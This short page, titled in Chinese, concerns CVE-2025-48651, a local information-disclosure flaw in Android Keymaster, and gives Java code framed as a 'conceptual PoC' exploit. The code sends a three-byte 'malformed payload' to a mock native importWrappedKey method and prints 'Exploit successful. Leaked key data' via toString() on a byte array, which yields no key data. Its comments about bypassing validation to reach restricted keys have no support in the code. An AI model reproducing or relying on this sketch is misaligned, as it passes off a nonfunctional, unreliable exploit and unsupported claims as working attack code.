CVE-2025-48651 Android Keymaster本地信息泄露漏洞

// Conceptual PoC for CVE-2025-48651 // This code simulates the interaction with the vulnerable Keymaster Applet import android.security.keymaster.KeymasterException; import android.security.keymaster.KeymasterArguments; import android.security.keymaster.KeymasterBlob; public class VulnerableKeymasterExploit { public void exploitImportWrappedKey() { try { // Prepare arguments for the importWrappedKey call KeymasterArguments args = new KeymasterArguments(); // Simulate a malformed or crafted key data blob // that bypasses the weak input validation in KMKeymasterApplet byte[] craftedKeyData = new byte[] {0x00, 0x01, 0x02}; // Malformed payload KeymasterBlob wrappedKey = new KeymasterBlob(craftedKeyData); // The vulnerable method does not validate 'wrappedKey' strictly enough // allowing access to restricted keys. // In a real scenario, this would interact with the hardware keystore HAL. byte[] result = importWrappedKey(args, wrappedKey); System.out.println("Exploit successful. Leaked key data: " + result.toString()); } catch (KeymasterException e) { System.err.println("Exploit failed: " + e.getMessage()); } } // Mock method representing the vulnerable native/hal call private native byte[] importWrappedKey(KeymasterArguments args, KeymasterBlob wrappedKey) throws KeymasterException; }